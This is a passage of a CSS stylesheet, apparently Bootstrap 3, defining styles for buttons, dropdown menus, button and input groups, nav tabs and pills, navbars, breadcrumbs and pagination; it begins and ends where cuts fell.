.btn-danger[disabled].focus,
fieldset[disabled] .btn-danger.focus {
  background-color:#d9534f;
  border-color:#d43f3a
}
.btn-danger .badge {
  color:#d9534f;
  background-color:#fff
}
.btn-link {
  font-weight:400;
  color:#337ab7;
  border-radius:0
}
.btn-link,
.btn-link:active,
.btn-link.active,
.btn-link[disabled],
fieldset[disabled] .btn-link {
  background-color:transparent;
  -webkit-box-shadow:none;
  box-shadow:none
}
.btn-link,
.btn-link:hover,
.btn-link:focus,
.btn-link:active {
  border-color:transparent
}
.btn-link:hover,
.btn-link:focus {
  color:#23527c;
  text-decoration:underline;
  background-color:transparent
}
.btn-link[disabled]:hover,
fieldset[disabled] .btn-link:hover,
.btn-link[disabled]:focus,
fieldset[disabled] .btn-link:focus {
  color:#777;
  text-decoration:none
}
.btn-lg,
.btn-group-lg>.btn {
  padding:10px 16px;
  font-size:18px;
  line-height:1.3333333;
  border-radius:6px
}
.btn-sm,
.btn-group-sm>.btn {
  padding:5px 10px;
  font-size:12px;
  line-height:1.5;
  border-radius:3px
}
.btn-xs,
.btn-group-xs>.btn {
  padding:1px 5px;
  font-size:12px;
  line-height:1.5;
  border-radius:3px
}
.btn-block {
  display:block;
  width:100%
}
.btn-block+.btn-block {
  margin-top:5px
}
input[type=submit].btn-block,
input[type=reset].btn-block,
input[type=button].btn-block {
  width:100%
}
.fade {
  opacity:0;
  -webkit-transition:opacity .15s linear;
  -o-transition:opacity .15s linear;
  transition:opacity .15s linear
}
.fade.in {
  opacity:1
}
.collapse {
  display:none
}
.collapse.in {
  display:block
}
tr.collapse.in {
  display:table-row
}
tbody.collapse.in {
  display:table-row-group
}
.collapsing {
  position:relative;
  height:0;
  overflow:hidden;
  -webkit-transition-property:height,visibility;
  transition-property:height,visibility;
  -webkit-transition-duration:.35s;
  transition-duration:.35s;
  -webkit-transition-timing-function:ease;
  transition-timing-function:ease
}
.caret {
  display:inline-block;
  width:0;
  height:0;
  margin-left:2px;
  vertical-align:middle;
  border-top:4px dashed;
  border-top:4px solid \	;
  border-right:4px solid transparent;
  border-left:4px solid transparent
}
.dropup,
.dropdown {
  position:relative
}
.dropdown-toggle:focus {
  outline:0
}
.dropdown-menu {
  position:absolute;
  top:100%;
  left:0;
  z-index:1000;
  display:none;
  float:left;
  min-width:160px;
  padding:5px 0;
  margin:2px 0 0;
  font-size:14px;
  text-align:left;
  list-style:none;
  background-color:#fff;
  background-clip:padding-box;
  border:1px solid #ccc;
  border:1px solid rgba(0,0,0,.15);
  border-radius:4px;
  -webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);
  box-shadow:0 6px 12px #0000002d
}
.dropdown-menu.pull-right {
  right:0;
  left:auto
}
.dropdown-menu .divider {
  height:1px;
  margin:9px 0;
  overflow:hidden;
  background-color:#e5e5e5
}
.dropdown-menu>li>a {
  display:block;
  padding:3px 20px;
  clear:both;
  font-weight:400;
  line-height:1.42857143;
  color:#333;
  white-space:nowrap
}
.dropdown-menu>li>a:hover,
.dropdown-menu>li>a:focus {
  color:#262626;
  text-decoration:none;
  background-color:#f5f5f5
}
.dropdown-menu>.active>a,
.dropdown-menu>.active>a:hover,
.dropdown-menu>.active>a:focus {
  color:#fff;
  text-decoration:none;
  background-color:#337ab7;
  outline:0
}
.dropdown-menu>.disabled>a,
.dropdown-menu>.disabled>a:hover,
.dropdown-menu>.disabled>a:focus {
  color:#777
}
.dropdown-menu>.disabled>a:hover,
.dropdown-menu>.disabled>a:focus {
  text-decoration:none;
  cursor:not-allowed;
  background-color:transparent;
  background-image:none;
  filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)
}
.open>.dropdown-menu {
  display:block
}
.open>a {
  outline:0
}
.dropdown-menu-right {
  right:0;
  left:auto
}
.dropdown-menu-left {
  right:auto;
  left:0
}
.dropdown-header {
  display:block;
  padding:3px 20px;
  font-size:12px;
  line-height:1.42857143;
  color:#777;
  white-space:nowrap
}
.dropdown-backdrop {
  position:fixed;
  inset:0;
  z-index:990
}
.pull-right>.dropdown-menu {
  right:0;
  left:auto
}
.dropup .caret,
.navbar-fixed-bottom .dropdown .caret {
  content:"";
  border-top:0;
  border-bottom:4px dashed;
  border-bottom:4px solid \	
}
.dropup .dropdown-menu,
.navbar-fixed-bottom .dropdown .dropdown-menu {
  top:auto;
  bottom:100%;
  margin-bottom:2px
}
@media (min-width: 768px) {
  .navbar-right .dropdown-menu {
    right:0;
    left:auto
  }
  .navbar-right .dropdown-menu-left {
    right:auto;
    left:0
  }
}
.btn-group,
.btn-group-vertical {
  position:relative;
  display:inline-block;
  vertical-align:middle
}
.btn-group>.btn,
.btn-group-vertical>.btn {
  position:relative;
  float:left
}
.btn-group>.btn:hover,
.btn-group-vertical>.btn:hover,
.btn-group>.btn:focus,
.btn-group-vertical>.btn:focus,
.btn-group>.btn:active,
.btn-group-vertical>.btn:active,
.btn-group>.btn.active,
.btn-group-vertical>.btn.active {
  z-index:2
}
.btn-group .btn+.btn,
.btn-group .btn+.btn-group,
.btn-group .btn-group+.btn,
.btn-group .btn-group+.btn-group {
  margin-left:-1px
}
.btn-toolbar {
  margin-left:-5px
}
.btn-toolbar .btn,
.btn-toolbar .btn-group,
.btn-toolbar .input-group {
  float:left
}
.btn-toolbar>.btn,
.btn-toolbar>.btn-group,
.btn-toolbar>.input-group {
  margin-left:5px
}
.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {
  border-radius:0
}
.btn-group>.btn:first-child {
  margin-left:0
}
.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle) {
  border-top-right-radius:0;
  border-bottom-right-radius:0
}
.btn-group>.btn:last-child:not(:first-child),
.btn-group>.dropdown-toggle:not(:first-child) {
  border-top-left-radius:0;
  border-bottom-left-radius:0
}
.btn-group>.btn-group {
  float:left
}
.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn {
  border-radius:0
}
.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,
.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle {
  border-top-right-radius:0;
  border-bottom-right-radius:0
}
.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child {
  border-top-left-radius:0;
  border-bottom-left-radius:0
}
.btn-group .dropdown-toggle:active,
.btn-group.open .dropdown-toggle {
  outline:0
}
.btn-group>.btn+.dropdown-toggle {
  padding-right:8px;
  padding-left:8px
}
.btn-group>.btn-lg+.dropdown-toggle {
  padding-right:12px;
  padding-left:12px
}
.btn-group.open .dropdown-toggle {
  -webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);
  box-shadow:inset 0 3px 5px #00000020
}
.btn-group.open .dropdown-toggle.btn-link {
  -webkit-box-shadow:none;
  box-shadow:none
}
.btn .caret {
  margin-left:0
}
.btn-lg .caret {
  border-width:5px 5px 0;
  border-bottom-width:0
}
.dropup .btn-lg .caret {
  border-width:0 5px 5px
}
.btn-group-vertical>.btn,
.btn-group-vertical>.btn-group,
.btn-group-vertical>.btn-group>.btn {
  display:block;
  float:none;
  width:100%;
  max-width:100%
}
.btn-group-vertical>.btn-group>.btn {
  float:none
}
.btn-group-vertical>.btn+.btn,
.btn-group-vertical>.btn+.btn-group,
.btn-group-vertical>.btn-group+.btn,
.btn-group-vertical>.btn-group+.btn-group {
  margin-top:-1px;
  margin-left:0
}
.btn-group-vertical>.btn:not(:first-child):not(:last-child) {
  border-radius:0
}
.btn-group-vertical>.btn:first-child:not(:last-child) {
  border-radius:4px 4px 0 0
}
.btn-group-vertical>.btn:last-child:not(:first-child) {
  border-radius:0 0 4px 4px
}
.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn {
  border-radius:0
}
.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,
.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle {
  border-bottom-right-radius:0;
  border-bottom-left-radius:0
}
.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child {
  border-top-left-radius:0;
  border-top-right-radius:0
}
.btn-group-justified {
  display:table;
  width:100%;
  table-layout:fixed;
  border-collapse:separate
}
.btn-group-justified>.btn,
.btn-group-justified>.btn-group {
  display:table-cell;
  float:none;
  width:1%
}
.btn-group-justified>.btn-group .btn {
  width:100%
}
.btn-group-justified>.btn-group .dropdown-menu {
  left:auto
}
[data-toggle=buttons]>.btn input[type=radio],
[data-toggle=buttons]>.btn-group>.btn input[type=radio],
[data-toggle=buttons]>.btn input[type=checkbox],
[data-toggle=buttons]>.btn-group>.btn input[type=checkbox] {
  position:absolute;
  clip:rect(0,0,0,0);
  pointer-events:none
}
.input-group {
  position:relative;
  display:table;
  border-collapse:separate
}
.input-group[class*=col-] {
  float:none;
  padding-right:0;
  padding-left:0
}
.input-group .form-control {
  position:relative;
  z-index:2;
  float:left;
  width:100%;
  margin-bottom:0
}
.input-group .form-control:focus {
  z-index:3
}
.input-group-lg>.form-control,
.input-group-lg>.input-group-addon,
.input-group-lg>.input-group-btn>.btn {
  height:46px;
  padding:10px 16px;
  font-size:18px;
  line-height:1.3333333;
  border-radius:6px
}
select.input-group-lg>.form-control,
select.input-group-lg>.input-group-addon,
select.input-group-lg>.input-group-btn>.btn {
  height:46px;
  line-height:46px
}
textarea.input-group-lg>.form-control,
textarea.input-group-lg>.input-group-addon,
textarea.input-group-lg>.input-group-btn>.btn,
select[multiple].input-group-lg>.form-control,
select[multiple].input-group-lg>.input-group-addon,
select[multiple].input-group-lg>.input-group-btn>.btn {
  height:auto
}
.input-group-sm>.form-control,
.input-group-sm>.input-group-addon,
.input-group-sm>.input-group-btn>.btn {
  height:30px;
  padding:5px 10px;
  font-size:12px;
  line-height:1.5;
  border-radius:3px
}
select.input-group-sm>.form-control,
select.input-group-sm>.input-group-addon,
select.input-group-sm>.input-group-btn>.btn {
  height:30px;
  line-height:30px
}
textarea.input-group-sm>.form-control,
textarea.input-group-sm>.input-group-addon,
textarea.input-group-sm>.input-group-btn>.btn,
select[multiple].input-group-sm>.form-control,
select[multiple].input-group-sm>.input-group-addon,
select[multiple].input-group-sm>.input-group-btn>.btn {
  height:auto
}
.input-group-addon,
.input-group-btn,
.input-group .form-control {
  display:table-cell
}
.input-group-addon:not(:first-child):not(:last-child),
.input-group-btn:not(:first-child):not(:last-child),
.input-group .form-control:not(:first-child):not(:last-child) {
  border-radius:0
}
.input-group-addon,
.input-group-btn {
  width:1%;
  white-space:nowrap;
  vertical-align:middle
}
.input-group-addon {
  padding:6px 12px;
  font-size:14px;
  font-weight:400;
  line-height:1;
  color:#555;
  text-align:center;
  background-color:#eee;
  border:1px solid #ccc;
  border-radius:4px
}
.input-group-addon.input-sm {
  padding:5px 10px;
  font-size:12px;
  border-radius:3px
}
.input-group-addon.input-lg {
  padding:10px 16px;
  font-size:18px;
  border-radius:6px
}
.input-group-addon input[type=radio],
.input-group-addon input[type=checkbox] {
  margin-top:0
}
.input-group .form-control:first-child,
.input-group-addon:first-child,
.input-group-btn:first-child>.btn,
.input-group-btn:first-child>.btn-group>.btn,
.input-group-btn:first-child>.dropdown-toggle,
.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),
.input-group-btn:last-child>.btn-group:not(:last-child)>.btn {
  border-top-right-radius:0;
  border-bottom-right-radius:0
}
.input-group-addon:first-child {
  border-right:0
}
.input-group .form-control:last-child,
.input-group-addon:last-child,
.input-group-btn:last-child>.btn,
.input-group-btn:last-child>.btn-group>.btn,
.input-group-btn:last-child>.dropdown-toggle,
.input-group-btn:first-child>.btn:not(:first-child),
.input-group-btn:first-child>.btn-group:not(:first-child)>.btn {
  border-top-left-radius:0;
  border-bottom-left-radius:0
}
.input-group-addon:last-child {
  border-left:0
}
.input-group-btn {
  position:relative;
  font-size:0;
  white-space:nowrap
}
.input-group-btn>.btn {
  position:relative
}
.input-group-btn>.btn+.btn {
  margin-left:-1px
}
.input-group-btn>.btn:hover,
.input-group-btn>.btn:focus,
.input-group-btn>.btn:active {
  z-index:2
}
.input-group-btn:first-child>.btn,
.input-group-btn:first-child>.btn-group {
  margin-right:-1px
}
.input-group-btn:last-child>.btn,
.input-group-btn:last-child>.btn-group {
  z-index:2;
  margin-left:-1px
}
.nav {
  padding-left:0;
  margin-bottom:0;
  list-style:none
}
.nav>li {
  position:relative;
  display:block
}
.nav>li>a {
  position:relative;
  display:block;
  padding:10px 15px
}
.nav>li>a:hover,
.nav>li>a:focus {
  text-decoration:none;
  background-color:#eee
}
.nav>li.disabled>a {
  color:#777
}
.nav>li.disabled>a:hover,
.nav>li.disabled>a:focus {
  color:#777;
  text-decoration:none;
  cursor:not-allowed;
  background-color:transparent
}
.nav .open>a,
.nav .open>a:hover,
.nav .open>a:focus {
  background-color:#eee;
  border-color:#337ab7
}
.nav .nav-divider {
  height:1px;
  margin:9px 0;
  overflow:hidden;
  background-color:#e5e5e5
}
.nav>li>a>img {
  max-width:none
}
.nav-tabs {
  border-bottom:1px solid #ddd
}
.nav-tabs>li {
  float:left;
  margin-bottom:-1px
}
.nav-tabs>li>a {
  margin-right:2px;
  line-height:1.42857143;
  border:1px solid transparent;
  border-radius:4px 4px 0 0
}
.nav-tabs>li>a:hover {
  border-color:#eeeeee #eeeeee #ddd
}
.nav-tabs>li.active>a,
.nav-tabs>li.active>a:hover,
.nav-tabs>li.active>a:focus {
  color:#555;
  cursor:default;
  background-color:#fff;
  border:1px solid #ddd;
  border-bottom-color:transparent
}
.nav-tabs.nav-justified {
  width:100%;
  border-bottom:0
}
.nav-tabs.nav-justified>li {
  float:none
}
.nav-tabs.nav-justified>li>a {
  margin-bottom:5px;
  text-align:center
}
.nav-tabs.nav-justified>.dropdown .dropdown-menu {
  top:auto;
  left:auto
}
@media (min-width: 768px) {
  .nav-tabs.nav-justified>li {
    display:table-cell;
    width:1%
  }
  .nav-tabs.nav-justified>li>a {
    margin-bottom:0
  }
}
.nav-tabs.nav-justified>li>a {
  margin-right:0;
  border-radius:4px
}
.nav-tabs.nav-justified>.active>a,
.nav-tabs.nav-justified>.active>a:hover,
.nav-tabs.nav-justified>.active>a:focus {
  border:1px solid #ddd
}
@media (min-width: 768px) {
  .nav-tabs.nav-justified>li>a {
    border-bottom:1px solid #ddd;
    border-radius:4px 4px 0 0
  }
  .nav-tabs.nav-justified>.active>a,
  .nav-tabs.nav-justified>.active>a:hover,
  .nav-tabs.nav-justified>.active>a:focus {
    border-bottom-color:#fff
  }
}
.nav-pills>li {
  float:left
}
.nav-pills>li>a {
  border-radius:4px
}
.nav-pills>li+li {
  margin-left:2px
}
.nav-pills>li.active>a,
.nav-pills>li.active>a:hover,
.nav-pills>li.active>a:focus {
  color:#fff;
  background-color:#337ab7
}
.nav-stacked>li {
  float:none
}
.nav-stacked>li+li {
  margin-top:2px;
  margin-left:0
}
.nav-justified {
  width:100%
}
.nav-justified>li {
  float:none
}
.nav-justified>li>a {
  margin-bottom:5px;
  text-align:center
}
.nav-justified>.dropdown .dropdown-menu {
  top:auto;
  left:auto
}
@media (min-width: 768px) {
  .nav-justified>li {
    display:table-cell;
    width:1%
  }
  .nav-justified>li>a {
    margin-bottom:0
  }
}
.nav-tabs-justified {
  border-bottom:0
}
.nav-tabs-justified>li>a {
  margin-right:0;
  border-radius:4px
}
.nav-tabs-justified>.active>a,
.nav-tabs-justified>.active>a:hover,
.nav-tabs-justified>.active>a:focus {
  border:1px solid #ddd
}
@media (min-width: 768px) {
  .nav-tabs-justified>li>a {
    border-bottom:1px solid #ddd;
    border-radius:4px 4px 0 0
  }
  .nav-tabs-justified>.active>a,
  .nav-tabs-justified>.active>a:hover,
  .nav-tabs-justified>.active>a:focus {
    border-bottom-color:#fff
  }
}
.tab-content>.tab-pane {
  display:none
}
.tab-content>.active {
  display:block
}
.nav-tabs .dropdown-menu {
  margin-top:-1px;
  border-top-left-radius:0;
  border-top-right-radius:0
}
.navbar {
  position:relative;
  min-height:50px;
  margin-bottom:20px;
  border:1px solid transparent
}
@media (min-width: 768px) {
  .navbar {
    border-radius:4px
  }
}
@media (min-width: 768px) {
  .navbar-header {
    float:left
  }
}
.navbar-collapse {
  padding-right:15px;
  padding-left:15px;
  overflow-x:visible;
  border-top:1px solid transparent;
  box-shadow:inset 0 1px #ffffff1a;
  -webkit-overflow-scrolling:touch
}
.navbar-collapse.in {
  overflow-y:auto
}
@media (min-width: 768px) {
  .navbar-collapse {
    width:auto;
    border-top:0;
    box-shadow:none
  }
  .navbar-collapse.collapse {
    display:block!important;
    height:auto!important;
    padding-bottom:0;
    overflow:visible!important
  }
  .navbar-collapse.in {
    overflow-y:visible
  }
  .navbar-fixed-top .navbar-collapse,
  .navbar-static-top .navbar-collapse,
  .navbar-fixed-bottom .navbar-collapse {
    padding-right:0;
    padding-left:0
  }
}
.navbar-fixed-top,
.navbar-fixed-bottom {
  position:fixed;
  right:0;
  left:0;
  z-index:1030
}
.navbar-fixed-top .navbar-collapse,
.navbar-fixed-bottom .navbar-collapse {
  max-height:340px
}
@media (max-device-width: 480px) and (orientation: landscape) {
  .navbar-fixed-top .navbar-collapse,
  .navbar-fixed-bottom .navbar-collapse {
    max-height:200px
  }
}
@media (min-width: 768px) {
  .navbar-fixed-top,
  .navbar-fixed-bottom {
    border-radius:0
  }
}
.navbar-fixed-top {
  top:0;
  border-width:0 0 1px
}
.navbar-fixed-bottom {
  bottom:0;
  margin-bottom:0;
  border-width:1px 0 0
}
.container>.navbar-header,
.container-fluid>.navbar-header,
.container>.navbar-collapse,
.container-fluid>.navbar-collapse {
  margin-right:-15px;
  margin-left:-15px
}
@media (min-width: 768px) {
  .container>.navbar-header,
  .container-fluid>.navbar-header,
  .container>.navbar-collapse,
  .container-fluid>.navbar-collapse {
    margin-right:0;
    margin-left:0
  }
}
.navbar-static-top {
  z-index:1000;
  border-width:0 0 1px
}
@media (min-width: 768px) {
  .navbar-static-top {
    border-radius:0
  }
}
.navbar-brand {
  float:left;
  height:50px;
  padding:15px;
  font-size:18px;
  line-height:20px
}
.navbar-brand:hover,
.navbar-brand:focus {
  text-decoration:none
}
.navbar-brand>img {
  display:block
}
@media (min-width: 768px) {
  .navbar>.container .navbar-brand,
  .navbar>.container-fluid .navbar-brand {
    margin-left:-15px
  }
}
.navbar-toggle {
  position:relative;
  float:right;
  padding:9px 10px;
  margin-right:15px;
  margin-top:8px;
  margin-bottom:8px;
  background-color:transparent;
  background-image:none;
  border:1px solid transparent;
  border-radius:4px
}
.navbar-toggle:focus {
  outline:0
}
.navbar-toggle .icon-bar {
  display:block;
  width:22px;
  height:2px;
  border-radius:1px
}
.navbar-toggle .icon-bar+.icon-bar {
  margin-top:4px
}
@media (min-width: 768px) {
  .navbar-toggle {
    display:none
  }
}
.navbar-nav {
  margin:7.5px -15px
}
.navbar-nav>li>a {
  padding-top:10px;
  padding-bottom:10px;
  line-height:20px
}
@media (max-width: 767px) {
  .navbar-nav .open .dropdown-menu {
    position:static;
    float:none;
    width:auto;
    margin-top:0;
    background-color:transparent;
    border:0;
    box-shadow:none
  }
  .navbar-nav .open .dropdown-menu>li>a,
  .navbar-nav .open .dropdown-menu .dropdown-header {
    padding:5px 15px 5px 25px
  }
  .navbar-nav .open .dropdown-menu>li>a {
    line-height:20px
  }
  .navbar-nav .open .dropdown-menu>li>a:hover,
  .navbar-nav .open .dropdown-menu>li>a:focus {
    background-image:none
  }
}
@media (min-width: 768px) {
  .navbar-nav {
    float:left;
    margin:0
  }
  .navbar-nav>li {
    float:left
  }
  .navbar-nav>li>a {
    padding-top:15px;
    padding-bottom:15px
  }
}
.navbar-form {
  padding:10px 15px;
  margin:8px -15px;
  border-top:1px solid transparent;
  border-bottom:1px solid transparent;
  -webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);
  box-shadow:inset 0 1px #ffffff1a,0 1px #ffffff1a
}
@media (min-width: 768px) {
  .navbar-form .form-group {
    display:inline-block;
    margin-bottom:0;
    vertical-align:middle
  }
  .navbar-form .form-control {
    display:inline-block;
    width:auto;
    vertical-align:middle
  }
  .navbar-form .form-control-static {
    display:inline-block
  }
  .navbar-form .input-group {
    display:inline-table;
    vertical-align:middle
  }
  .navbar-form .input-group .input-group-addon,
  .navbar-form .input-group .input-group-btn,
  .navbar-form .input-group .form-control {
    width:auto
  }
  .navbar-form .input-group>.form-control {
    width:100%
  }
  .navbar-form .control-label {
    margin-bottom:0;
    vertical-align:middle
  }
  .navbar-form .radio,
  .navbar-form .checkbox {
    display:inline-block;
    margin-top:0;
    margin-bottom:0;
    vertical-align:middle
  }
  .navbar-form .radio label,
  .navbar-form .checkbox label {
    padding-left:0
  }
  .navbar-form .radio input[type=radio],
  .navbar-form .checkbox input[type=checkbox] {
    position:relative;
    margin-left:0
  }
  .navbar-form .has-feedback .form-control-feedback {
    top:0
  }
}
@media (max-width: 767px) {
  .navbar-form .form-group {
    margin-bottom:5px
  }
  .navbar-form .form-group:last-child {
    margin-bottom:0
  }
}
@media (min-width: 768px) {
  .navbar-form {
    width:auto;
    padding-top:0;
    padding-bottom:0;
    margin-right:0;
    margin-left:0;
    border:0;
    -webkit-box-shadow:none;
    box-shadow:none
  }
}
.navbar-nav>li>.dropdown-menu {
  margin-top:0;
  border-top-left-radius:0;
  border-top-right-radius:0
}
.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu {
  margin-bottom:0;
  border-radius:4px 4px 0 0
}
.navbar-btn {
  margin-top:8px;
  margin-bottom:8px
}
.navbar-btn.btn-sm {
  margin-top:10px;
  margin-bottom:10px
}
.navbar-btn.btn-xs {
  margin-top:14px;
  margin-bottom:14px
}
.navbar-text {
  margin-top:15px;
  margin-bottom:15px
}
@media (min-width: 768px) {
  .navbar-text {
    float:left;
    margin-right:15px;
    margin-left:15px
  }
}
@media (min-width: 768px) {
  .navbar-left {
    float:left!important
  }
  .navbar-right {
    float:right!important;
    margin-right:-15px
  }
  .navbar-right~.navbar-right {
    margin-right:0
  }
}
.navbar-default {
  background-color:#f8f8f8;
  border-color:#e7e7e7
}
.navbar-default .navbar-brand {
  color:#777
}
.navbar-default .navbar-brand:hover,
.navbar-default .navbar-brand:focus {
  color:#5e5e5e;
  background-color:transparent
}
.navbar-default .navbar-text {
  color:#777
}
.navbar-default .navbar-nav>li>a {
  color:#777
}
.navbar-default .navbar-nav>li>a:hover,
.navbar-default .navbar-nav>li>a:focus {
  color:#333;
  background-color:transparent
}
.navbar-default .navbar-nav>.active>a,
.navbar-default .navbar-nav>.active>a:hover,
.navbar-default .navbar-nav>.active>a:focus {
  color:#555;
  background-color:#e7e7e7
}
.navbar-default .navbar-nav>.disabled>a,
.navbar-default .navbar-nav>.disabled>a:hover,
.navbar-default .navbar-nav>.disabled>a:focus {
  color:#ccc;
  background-color:transparent
}
.navbar-default .navbar-nav>.open>a,
.navbar-default .navbar-nav>.open>a:hover,
.navbar-default .navbar-nav>.open>a:focus {
  color:#555;
  background-color:#e7e7e7
}
@media (max-width: 767px) {
  .navbar-default .navbar-nav .open .dropdown-menu>li>a {
    color:#777
  }
  .navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,
  .navbar-default .navbar-nav .open .dropdown-menu>li>a:focus {
    color:#333;
    background-color:transparent
  }
  .navbar-default .navbar-nav .open .dropdown-menu>.active>a,
  .navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,
  .navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus {
    color:#555;
    background-color:#e7e7e7
  }
  .navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,
  .navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,
  .navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus {
    color:#ccc;
    background-color:transparent
  }
}
.navbar-default .navbar-toggle {
  border-color:#ddd
}
.navbar-default .navbar-toggle:hover,
.navbar-default .navbar-toggle:focus {
  background-color:#ddd
}
.navbar-default .navbar-toggle .icon-bar {
  background-color:#888
}
.navbar-default .navbar-collapse,
.navbar-default .navbar-form {
  border-color:#e7e7e7
}
.navbar-default .navbar-link {
  color:#777
}
.navbar-default .navbar-link:hover {
  color:#333
}
.navbar-default .btn-link {
  color:#777
}
.navbar-default .btn-link:hover,
.navbar-default .btn-link:focus {
  color:#333
}
.navbar-default .btn-link[disabled]:hover,
fieldset[disabled] .navbar-default .btn-link:hover,
.navbar-default .btn-link[disabled]:focus,
fieldset[disabled] .navbar-default .btn-link:focus {
  color:#ccc
}
.navbar-inverse {
  background-color:#222;
  border-color:#080808
}
.navbar-inverse .navbar-brand {
  color:#9d9d9d
}
.navbar-inverse .navbar-brand:hover,
.navbar-inverse .navbar-brand:focus {
  color:#fff;
  background-color:transparent
}
.navbar-inverse .navbar-text {
  color:#9d9d9d
}
.navbar-inverse .navbar-nav>li>a {
  color:#9d9d9d
}
.navbar-inverse .navbar-nav>li>a:hover,
.navbar-inverse .navbar-nav>li>a:focus {
  color:#fff;
  background-color:transparent
}
.navbar-inverse .navbar-nav>.active>a,
.navbar-inverse .navbar-nav>.active>a:hover,
.navbar-inverse .navbar-nav>.active>a:focus {
  color:#fff;
  background-color:#080808
}
.navbar-inverse .navbar-nav>.disabled>a,
.navbar-inverse .navbar-nav>.disabled>a:hover,
.navbar-inverse .navbar-nav>.disabled>a:focus {
  color:#444;
  background-color:transparent
}
.navbar-inverse .navbar-nav>.open>a,
.navbar-inverse .navbar-nav>.open>a:hover,
.navbar-inverse .navbar-nav>.open>a:focus {
  color:#fff;
  background-color:#080808
}
@media (max-width: 767px) {
  .navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header {
    border-color:#080808
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {
    background-color:#080808
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu>li>a {
    color:#9d9d9d
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,
  .navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus {
    color:#fff;
    background-color:transparent
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,
  .navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,
  .navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus {
    color:#fff;
    background-color:#080808
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,
  .navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,
  .navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus {
    color:#444;
    background-color:transparent
  }
}
.navbar-inverse .navbar-toggle {
  border-color:#333
}
.navbar-inverse .navbar-toggle:hover,
.navbar-inverse .navbar-toggle:focus {
  background-color:#333
}
.navbar-inverse .navbar-toggle .icon-bar {
  background-color:#fff
}
.navbar-inverse .navbar-collapse,
.navbar-inverse .navbar-form {
  border-color:#101010
}
.navbar-inverse .navbar-link {
  color:#9d9d9d
}
.navbar-inverse .navbar-link:hover {
  color:#fff
}
.navbar-inverse .btn-link {
  color:#9d9d9d
}
.navbar-inverse .btn-link:hover,
.navbar-inverse .btn-link:focus {
  color:#fff
}
.navbar-inverse .btn-link[disabled]:hover,
fieldset[disabled] .navbar-inverse .btn-link:hover,
.navbar-inverse .btn-link[disabled]:focus,
fieldset[disabled] .navbar-inverse .btn-link:focus {
  color:#444
}
.breadcrumb {
  padding:8px 15px;
  margin-bottom:20px;
  list-style:none;
  background-color:#f5f5f5;
  border-radius:4px
}
.breadcrumb>li {
  display:inline-block
}
.breadcrumb>li+li:before {
  padding:0 5px;
  color:#ccc;
  content:"/ "
}
.breadcrumb>.active {
  color:#777
}
.pagination {
  display:inline-block;
  padding-left:0;
  margin:20px 0;
  border-radius:4px
}
.pagination>li {
  display:inline
}
.pagination>li>a,
.pagination>li>span {
  position:relative;
  float:left;
  padding:6px 12px;
  margin-left:-1px;
  line-height:1.42857143;
  color:#337ab7;
  text-decoration:none;
  background-color:#fff;
  border:1px solid #ddd
}
.pagination>li>a:hover,
.pagination>li>span:hover,
.pagination>li>a:focus,
.pagination>li>span:focus {
  z-index:2;
  color:#23527c;
  background-color:#eee;
  border-color:#ddd
}
.pagination>li:first-child>a,
.pagination>li:first-child>span {
  margin-left:0;
  border-top-left-radius:4px;
  border-bottom-left-radius:4px
}
.pagination>li:last-child>a,
.pagination>li:last-child>span {
  border-top-right-radius:4px;
  border-bottom-right-radius:4px
}
.pagination>.active>a,
.pagination>.active>span,
.pagination>.active>a:hover,
.pagination>.active>span:hover,
.pagination>.active>a:focus,
.pagination>.active>span:focus {
  z-index:3;
  color:#fff;
  cursor:default;
  background-color:#337ab7;
  border-color:#337ab7
}
.pagination>.disabled>span,
.pagination>.disabled>span:hover,
.pagination>.disabled>span:focus,
.pagination>.disabled>a,
.pagination>.disabled>a:hover,
.pagination>.disabled>a:focus {
  color:#777;
  cursor:not-allowed;
  background-color:#fff;
  border-color:#ddd
}
.pagination-lg>li>a,
.pagination-lg>li>span {
  padding:10px 16px;
  font-size:18px;
  line-height:1.3333333
}
.pagination-lg>li:first-child>a,
.pagination-lg>li:first-child>span {
  border-top-left-radius:6px;
  border-bottom-left-radius:6px
}
.pagination-lg>li:last-child>a,
.pagination-lg>li:last-child>span {
  border-top-right-radius:6px;
  border-bottom-right-radius:6px
}
.pagination-sm>li>a,
.pagination-sm>li>span {
  padding:5px 10px;
  font-size:12px;
  line-height:1.5
}
.pagination-sm>li:first-child>a,
.pagination-sm>li:first-child>span {
  border-top-left-radius:3px;
  border-bottom-left-radius:3px
}
.pagination-sm>li:last-child>a,
.pagination-sm>li:last-child>span {
  border-top-right-radius:3px;
  border-bottom-right-radius:3px
}
.pager {
  padding-left:0;
  margin:20px 0;
  text-align:center;
  list-style:none
}
.pager li {
  display:inline
}
.pager li>a,
.pager li>span {
  display:inline-block;
  padding:5px 14px;
